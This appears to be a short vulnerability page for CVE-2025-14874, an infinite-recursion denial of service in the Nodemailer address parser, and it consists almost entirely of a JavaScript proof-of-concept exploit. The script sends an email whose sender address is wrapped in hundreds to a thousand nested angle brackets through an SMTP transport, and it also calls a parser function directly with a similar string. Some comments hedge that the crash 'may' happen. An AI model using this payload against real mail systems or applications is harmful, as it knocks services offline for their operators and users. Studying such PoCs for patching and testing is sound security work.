CVE-2025-14874: Nodemailer地址解析器无限递归拒绝服务漏洞

// CVE-2025-14874 PoC - Infinite Recursion in Nodemailer Address Parser // This PoC demonstrates how a crafted email address can trigger infinite recursion const nodemailer = require('nodemailer'); // Crafted email address that triggers infinite recursion in address parser // The address contains deeply nested structures that the parser cannot handle const maliciousFromAddress = '<'.repeat(1000) + '[email protected]' + '>'.repeat(1000); async function triggerVulnerability() { try { const transporter = nodemailer.createTransport({ host: 'smtp.vulnerable-server.com', port: 25, secure: false }); // Attempt to send email with malicious address // This will cause the address parser to enter infinite recursion await transporter.sendMail({ from: maliciousFromAddress, to: '[email protected]', subject: 'Test Email', text: 'This email contains a crafted address that triggers DoS' }); } catch (error) { console.error('Error occurred:', error.message); } } // Alternative: Direct parser test function testParserDirectly() { const mailParser = require('nodemailer/lib/mail-parser'); // Test with malformed address headers const maliciousHeaders = { from: '<'.repeat(500) + '[email protected]' + '>'.repeat(500), to: '[email protected]' }; // This call may trigger infinite recursion in the parser try { mailParser.parseAddresses(maliciousHeaders.from); } catch (e) { console.log('Parser crashed or timed out'); } } triggerVulnerability();